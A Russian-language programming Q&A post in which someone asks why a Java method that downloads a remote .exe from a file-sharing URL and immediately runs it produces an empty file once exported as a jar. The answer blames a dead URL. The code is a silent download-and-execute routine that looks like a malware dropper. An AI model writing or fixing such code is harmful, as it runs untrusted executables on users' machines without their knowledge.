Files.copy возвращает пустой файл при экспорте jar - PullRequest
0 голосов
/ 24 июня 2018

Файл загружается правильно в Eclipse, но когда я экспортирую флягу, он всегда загружает пустой exe.Кто-нибудь может помочь?

public static void downloadAndRunFile(final URL from, final File to) throws Exception {
    try (final InputStream in = from.openStream()) {
        Files.copy(in, to.toPath(), StandardCopyOption.REPLACE_EXISTING);
    }
    Desktop.getDesktop().open(to);
}

Фактический код запускается

String bub = "https://a.coka.la/bnH6Vg.exe";
    try {
        Pandora.downloadAndRunFile(
                new URL(bub),
                File.createTempFile("feelthevluci", ".exe"));
        } catch (Exception e) {
        // TODO Auto-generated catch block
    }            
}

1 Ответ

0 голосов
/ 24 июня 2018

URL в вашем коде, кажется, возвращает 404.

Я изменил его на что-то, что, как я знаю, работает и безопасно, и это работает как в IDE, так и в jar-файле.

Проверьте URL с помощью curl, браузера или другого инструмента, чтобы убедиться, что он работает.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...